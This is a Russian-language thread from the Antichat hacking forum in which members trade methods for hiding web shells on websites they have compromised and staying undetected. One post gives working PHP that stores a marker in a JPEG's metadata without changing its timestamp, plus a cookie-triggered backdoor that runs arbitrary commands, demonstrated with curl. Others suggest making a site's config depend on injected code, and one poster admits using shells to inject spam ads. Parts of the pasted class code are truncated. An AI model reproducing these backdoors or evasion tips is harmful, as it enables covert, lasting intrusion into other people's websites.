HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.07.2015, 22:32
-=Cerberus=-
Guest
Сообщений: n/a
Провел на форуме:
343026

Репутация: 391
По умолчанию

О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!
 
Ответить с цитированием

  #2  
Старый 28.07.2015, 22:37
Filipp
Guest
Сообщений: n/a
Провел на форуме:
98300

Репутация: 31
По умолчанию

Цитата:
Сообщение от winstrool  
winstrool said:

Ну об обуссифекации вы тут ничего не писали, а touch'ем вы можете поменять дату изменения, но ни как не дату создания!
Да уж, я бы никогда не догадался, что в .htaccess можно спрятать шелл[/QOUTE]
Так я ничего не создаю, я редактирую уже существующий файл. С htaccess'ом тоже метод хорош, не спорю, я просто предложил новый способ, менее паливный.
 
Ответить с цитированием

  #3  
Старый 28.07.2015, 22:39
Filipp
Guest
Сообщений: n/a
Провел на форуме:
98300

Репутация: 31
По умолчанию

Цитата:
Сообщение от -=Cerberus=-  
-=Cerberus=- said:

О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!
Угу, я так и делал раньше. Пытаюсь толкать рекламу по ночам на сайт, постоянно что-то дописываю и редактирую.. Шелл нужен через каждый час) Легче раз сделать чем по 100 раз заливаться. Ну а так да, вы абсолютно правы.
 
Ответить с цитированием

  #4  
Старый 29.07.2015, 12:36
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

 
Ответить с цитированием

  #5  
Старый 23.03.2016, 19:13
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

способ на любителя

находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла

.SpoilerTarget" type="button">Spoiler

Код:
Code:
meta = iptcparse($info["APP13"]);

        $this->file = $filename;
    }

    function getValue($tag)
    {
        return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
    }

    function setValue($tag, $data)
    {
        $this->meta["2#$tag"] = [$data];

        $this->write();
    }

    private function write()
    {
        $mode = 0;

        $content = iptcembed($this->binary(), $this->file, $mode);  

        $filename = $this->file;

        if(file_exists($this->file)) unlink($this->file);

        $fp = fopen($this->file, "w");
        fwrite($fp, $content);
        fclose($fp);
    }        

    private function binary()
    {
        $data = "";

        foreach(array_keys($this->meta) as $key)
        {
            $tag = str_replace("2#", "", $key);
            $data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
        }      

        return $data;
    }

    function iptc_maketag($rec, $data, $value)
    {
        $length = strlen($value);
        $retval = chr(0x1C) . chr($rec) . chr($data);

        if($length > 8) .  chr($length & 0xFF);
        }
        else
        {
            $retval .= chr(0x80) . 
                       chr(0x04) . 
                       chr(($length >> 24) & 0xFF) . 
                       chr(($length >> 16) & 0xFF) . 
                       chr(($length >> 8) & 0xFF) . 
                       chr($length & 0xFF);
        }

        return $retval . $value;            
    }  

    function dump()
    {
        echo "";
        print_r($this->meta);
        echo "";
    }

    #requires GD library installed
    function removeAllTags()
    {
        $this->meta = [];
        $img = imagecreatefromstring(implode(file($this->file)));
        if(file_exists($this->file)) unlink($this->file);
        imagejpeg($img, $this->file, 100);
    }
}

$file = "test.jpg";
$time = filemtime($file);

$objIPTC = new IPTC($file);

//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);

?>
после выполнения скрипт должен вывести "_COOKIE"

затем в нужный php файл, в нужном месте добавляем следующий код

Код:
Code:
$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);
суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31

пример работы

Код:
Code:
$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash
+ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте

-ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект
 
Ответить с цитированием

  #6  
Старый 24.03.2016, 00:19
Filipp
Guest
Сообщений: n/a
Провел на форуме:
98300

Репутация: 31
По умолчанию

Цитата:
Сообщение от t0ma5  
t0ma5 said:

способ на любителя
находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла
Spoiler
Код:
Code:
meta = iptcparse($info["APP13"]);

        $this->file = $filename;
    }

    function getValue($tag)
    {
        return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
    }

    function setValue($tag, $data)
    {
        $this->meta["2#$tag"] = [$data];

        $this->write();
    }

    private function write()
    {
        $mode = 0;

        $content = iptcembed($this->binary(), $this->file, $mode); 

        $filename = $this->file;

        if(file_exists($this->file)) unlink($this->file);

        $fp = fopen($this->file, "w");
        fwrite($fp, $content);
        fclose($fp);
    }       

    private function binary()
    {
        $data = "";

        foreach(array_keys($this->meta) as $key)
        {
            $tag = str_replace("2#", "", $key);
            $data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
        }     

        return $data;
    }

    function iptc_maketag($rec, $data, $value)
    {
        $length = strlen($value);
        $retval = chr(0x1C) . chr($rec) . chr($data);

        if($length > 8) .  chr($length & 0xFF);
        }
        else
        {
            $retval .= chr(0x80) .
                       chr(0x04) .
                       chr(($length >> 24) & 0xFF) .
                       chr(($length >> 16) & 0xFF) .
                       chr(($length >> 8) & 0xFF) .
                       chr($length & 0xFF);
        }

        return $retval . $value;           
    } 

    function dump()
    {
        echo "";
        print_r($this->meta);
        echo "";
    }

    #requires GD library installed
    function removeAllTags()
    {
        $this->meta = [];
        $img = imagecreatefromstring(implode(file($this->file)));
        if(file_exists($this->file)) unlink($this->file);
        imagejpeg($img, $this->file, 100);
    }
}

$file = "test.jpg";
$time = filemtime($file);

$objIPTC = new IPTC($file);

//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);

?>
после выполнения скрипт должен вывести "_COOKIE"
затем в нужный php файл, в нужном месте добавляем следующий код
Код:
Code:
$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);
суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31
пример работы
Код:
Code:
$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash
+ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте
-ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект
А я и забыл про этот пост, так давно это дело писал. Теперь вижу со стороны свои ошибки.. Да все можно сделать намного проще. Например, не проверять GET параметр, а куку. Тогда в логах вообще будет что то типа POST index.php
 
Ответить с цитированием

  #7  
Старый 02.04.2016, 17:18
Unknown
Guest
Сообщений: n/a
Провел на форуме:
9149

Репутация: 5
По умолчанию

я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)
 
Ответить с цитированием

  #8  
Старый 02.04.2016, 17:37
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от Hummer  
Hummer said:

я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)
А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "нихуя вообще работать не будет =)))))"

P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...
 
Ответить с цитированием

  #9  
Старый 03.04.2016, 10:58
Unknown
Guest
Сообщений: n/a
Провел на форуме:
9149

Репутация: 5
По умолчанию

Цитата:
Сообщение от winstrool  
winstrool said:

А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "
нихуя вообще работать не будет =)))))
"
P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...
Я говорю про index.php, а не корень сайта. Что не опытный владелец сайта там увидит?
 
Ответить с цитированием

  #10  
Старый 03.04.2016, 11:28
Filipp
Guest
Сообщений: n/a
Провел на форуме:
98300

Репутация: 31
По умолчанию

Цитата:
Сообщение от Hummer  
Hummer said:

Я говорю про index.php, а не корень сайта. Что не опытный владелец сайта там увидит?
Все неопытные и опытные админы первым делом смотрят в индекс и это факт. Конечно можно воспользоваться некоторыми хитростями и помещать их именно в индекс, но это подходит только когда нужно закрепиться на сайте, что бы админ не догадывался что вы есть.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ